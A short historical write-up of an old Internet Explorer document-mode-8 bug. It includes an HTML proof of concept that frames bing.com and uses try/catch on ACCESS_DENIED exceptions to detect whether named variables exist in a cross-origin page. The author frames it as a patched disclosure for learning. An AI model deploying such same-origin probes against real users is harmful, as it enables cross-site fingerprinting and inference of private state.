In IE’s document compatibility mode 8, accessing a property on a cross-origin iFrame’s window normally throws an ACCESS_DENIED exception — but only when the property actually exists. When the property doesn’t exist at all, no exception is thrown. This asymmetry lets a page probe for the presence of named variables in a cross-origin frame without reading their values.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>docMode8_checks_existance_of_xDom_members</title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
</head>
<body>
<iframe src="http://www.bing.com/" name="iFrame" width="700" height="150"></iframe>

<script>
function main()
{
	var VARIABLE_EXISTS = false;
	try
	{
		iFrame[document.all.varName.value];
	}
	catch (e)
	{
		VARIABLE_EXISTS = true;
	}
		alert("Variable " + document.all.varName.value + (VARIABLE_EXISTS ? " DOES " : " DOES NOT ") + "exist!");
}
</script>
</body>
</html>

The logic is simple: wrap the cross-origin property access in a try/catch. If an ACCESS_DENIED exception is thrown, the variable exists on the target page. If no exception is thrown, it doesn’t. This works because the browser only enforces the same-origin check when there’s actually something to protect — a missing property just silently returns undefined without triggering the security boundary.

This could be used to fingerprint which scripts a page has loaded, infer application state, or confirm the presence of user-specific globals — all without any actual cross-origin data read. A related variant using typeof instead of exception catching was also possible (see the next entry).

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.